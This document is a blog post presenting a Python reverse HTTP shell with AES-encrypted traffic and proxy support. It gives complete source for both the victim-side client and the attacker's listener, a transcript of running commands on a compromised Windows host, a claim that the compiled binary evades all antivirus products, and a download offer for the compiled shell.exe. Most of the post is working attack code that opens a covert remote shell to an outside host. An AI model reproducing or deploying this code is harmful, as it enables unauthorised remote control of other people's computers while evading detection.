Building an HTTP shell with AES + Proxy Support in Python
Got a little bored today and decided to write a reverse HTTP shell in Python thats platform independent and supports AES encryption when passing information back and forth. So this works on Linux, OSX, and Windows. The shell also supports proxy settings as well. This Python shell will initiate a reverse connection out of the network and connect to the attacker machine via pure HTTP communications. It's pretty straight forward on how it works. I've byte compiled the code so you do not need to have Python installed on the victim, it will simply run as a normal executable.
As usual, with anything custom evades every anti-virus out there (0/43):
Here's the shell in action on the victim machine:
C:Documents and SettingsAdministratorDesktop>shell.exe AES Encrypted Reverse HTTP Shell by: Dave Kennedy (ReL1K) Usage: shell.exe reverse_ip_address port C:Documents and SettingsAdministratorDesktop>shell.exe 192.168.235.152 80
Here’s what we see on the attacker machine:
root@bt:~/Desktop# python server.py ############################################ # # # AES Encrypted Reverse HTTP Listener by: # # Dave Kennedy (ReL1K) # # # ############################################ Starting encrypted web shell server, use Ctrl-C to stop shell> 192.168.235.131 - - [07/Mar/2012 19:47:10] "GET / HTTP/1.1" 200 - 192.168.235.131 - - [07/Mar/2012 19:47:10] "POST /index.aspx HTTP/1.1" 200 - shell> ipconfig 192.168.235.131 - - [07/Mar/2012 19:47:15] "GET / HTTP/1.1" 200 - 192.168.235.131 - - [07/Mar/2012 19:47:15] "POST /index.aspx HTTP/1.1" 200 - Windows IP Configuration Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : localdomain IP Address. . . . . . . . . . . . : 192.168.235.131 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.235.2 Ethernet adapter Bluetooth Network Connection: Media State . . . . . . . . . . . : Media disconnected shell>
As you can see, we have a full shell to the victim, at this point based on the code its trivial to implement upload/download commands and anything else we want from a purely stateful HTTP shell. When the commands are sent from the server, its encrypted leveraging AES and sent to the victim machine, its then decrypted and executed in a shell command. When the response is taken from the command shell option, its then encrypted back up and sent back to the listener. There is never a point in time where communications are sent via an unencrypted manner.
Here’s the source code for the encrypted shell:
!/usr/bin/python # # # AES Encrypted Reverse HTTP Shell by: # Dave Kennedy (ReL1K) # # # # # To compile, you will need pyCrypto, it's a pain to install if you do it from source, should get the binary modules to make it easier. Can download from here: http://www.voidspace.org.uk/cgi-bin/voidspace/downman.py?file=pycrypto-2.0.1.win32-py2.5.zip # # # This shell works on any platform you want to compile it in. OSX, Windows, Linux, etc. # # # # # Below is the steps used to compile the binary. py2exe requires a dll to be used in conjunction so py2exe was not used. Instead, pyinstaller was used in order to byte compile the binary. # # # export VERSIONER_PYTHON_PREFER_32_BIT=yes python Configure.py python Makespec.py --onefile shell.py python Build.py shell/shell.spec # # import urllib import urllib2 import httplib import subprocess import sys import base64 import os from Crypto.Cipher import AES the block size for the cipher object; must be 16, 24, or 32 for AES BLOCK_SIZE = 32 the character used for padding--with a block cipher such as AES, the value you encrypt must be a multiple of BLOCK_SIZE in length. This character is used to ensure that your value is always a multiple of BLOCK_SIZE PADDING = '{' one-liner to sufficiently pad the text to be encrypted pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING one-liners to encrypt/encode and decrypt/decode a string encrypt with AES, encode with base64 EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) secret key, change this if you want to be unique secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2" create a cipher object using the random secret cipher = AES.new(secret) TURN THIS ON IF YOU WANT PROXY SUPPORT PROXY_SUPPORT = "OFF" THIS WILL BE THE PROXY URL PROXY_URL = "http://proxyinfo:80" USERNAME FOR THE PROXY USERNAME = "username" PASSWORD FOR THE PROXY PASSWORD = "password" here is where we set all of our proxy settings if PROXY_SUPPORT == "ON": auth_handler = urllib2.HTTPBasicAuthHandler() auth_handler.add_password(realm='RESTRICTED ACCESS', uri=PROXY_URL, # PROXY SPECIFIED ABOVE user=USERNAME, # USERNAME SPECIFIED ABOVE passwd=PASSWORD) # PASSWORD SPECIFIED ABOVE opener = urllib2.build_opener(auth_handler) urllib2.install_opener(opener) try: # our reverse listener ip address address = sys.argv[1] # our reverse listener port address port = sys.argv[2] except that we didn't pass parameters except IndexError: print " nAES Encrypted Reverse HTTP Shell by:" print " Dave Kennedy (ReL1K)" print " https://www.trustedsec.com" print "Usage: shell.exe " sys.exit() loop forever while 1: open up our request handelr req = urllib2.Request('http://%s:%s' % (address,port)) # grab our response which contains what command we want message = urllib2.urlopen(req) # base64 unencode message = base64.b64decode(message.read()) # decrypt the communications message = DecodeAES(cipher, message) # quit out if we receive that command if message == "quit" or message == "exit": sys.exit() # issue the shell command we want proc = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # read out the data of stdout data = proc.stdout.read() + proc.stderr.read() # encrypt the data data = EncodeAES(cipher, data) # base64 encode the data data = base64.b64encode(data) # urlencode the data from stdout data = urllib.urlencode({'cmd': '%s'}) % (data) # who we want to connect back to with the shell h = httplib.HTTPConnection('%s:%s' % (address,port)) # set our basic headers headers = {"User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)","Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"} # actually post the data h.request('POST', '/index.aspx', data, headers)
Here’s the code for the listener:
!/usr/bin/python # # # AES Encrypted Reverse HTTP Listener by: # Dave Kennedy (ReL1K) # # # from BaseHTTPServer import BaseHTTPRequestHandler from BaseHTTPServer import HTTPServer import urlparse import re import os import base64 from Crypto.Cipher import AES the block size for the cipher object; must be 16, 24, or 32 for AES BLOCK_SIZE = 32 the character used for padding--with a block cipher such as AES, the value you encrypt must be a multiple of BLOCK_SIZE in length. This character is used to ensure that your value is always a multiple of BLOCK_SIZE PADDING = '{' one-liner to sufficiently pad the text to be encrypted pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING one-liners to encrypt/encode and decrypt/decode a string encrypt with AES, encode with base64 EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) 32 character secret key - change this if you want to be unique secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2" create a cipher object using the random secret cipher = AES.new(secret) url decode for postbacks def htc(m): return chr(int(m.group(1),16)) url decode def urldecode(url): rex=re.compile('%([0-9a-hA-H][0-9a-hA-H])',re.M) return rex.sub(htc,url) class GetHandler(BaseHTTPRequestHandler): # handle get request def do_GET(self): # this will be our shell command message = raw_input("shell> ") # send a 200 OK response self.send_response(200) # end headers self.end_headers() # encrypt the message message = EncodeAES(cipher, message) # base64 it message = base64.b64encode(message) # write our command shell param to victim self.wfile.write(message) # return out return # handle post request def do_POST(self): # send a 200 OK response self.send_response(200) # # end headers self.end_headers() # grab the length of the POST data length = int(self.headers.getheader('content-length')) # read in the length of the POST data qs = self.rfile.read(length) # url decode url=urldecode(qs) # remove the parameter cmd url=url.replace("cmd=", "") # base64 decode message = base64.b64decode(url) # decrypt the string message = DecodeAES(cipher, message) # display the command back decrypted print message if name == 'main': # bind to all interfaces server = HTTPServer(('', 80), GetHandler) print """############################################ # # AES Encrypted Reverse HTTP Listener by: # Dave Kennedy (ReL1K) # # ######################################""" print 'Starting encrypted web shell server, use to stop' # simple try block try: # serve and listen forever server.serve_forever() # handle keyboard interrupts except KeyboardInterrupt: print "[!] Exiting the encrypted webserver shell.. hack the gibson."
If you want to download the already compiled shell.exe and all of the source code click here to download.